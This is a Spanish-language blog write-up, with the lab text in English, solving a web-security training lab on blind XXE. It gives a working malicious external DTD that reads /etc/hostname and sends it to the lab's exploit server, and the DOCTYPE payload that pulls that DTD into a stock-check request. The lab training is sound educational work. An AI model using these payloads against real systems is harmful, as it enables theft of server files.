Descripción

This lab has a «Check stock» feature that parses XML input but does not display the result.

To solve the lab, exfiltrate the contents of the /etc/hostname file

Exploiting blind XXE to exfiltrate data using a malicious external DTD writeup

Al entrar vemos una tienda online. Entramos en un producto con ‘View details’ y capturamos la petición con el ‘Logger’ de Burp Suite:

Esta vez, si intentamos acceder a una variable en el cuerpo XML nos devolverá el siguiente error:

"Entities are not allowed for security reasons"

Es aquí donde entra el ‘Exploit server’. Realizaremos una petición al servidor y él se encargará de tener las entidades. Pondremos el siguiente código en el ‘Exploit server’ y pulsaremos ‘Save’:

<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'https://exploit-0a5c00d104a150ed84f545830113002e.exploit-server.net/?x=%file;'>">
%eval;
%exfil;

Ahora, en la petición, llamaremos a este servidor, que sí puede manejar entidades:

<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "https://exploit-0a5c00d104a150ed84f545830113002e.exploit-server.net/exploit"> %xxe;]>

Al enviarlo nos devolverá un error:

Pero en el log del servidor tendremos el contenido de ‘/etc/hostname’:

Enviaremos la solución y completaremos el laboratorio:

Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *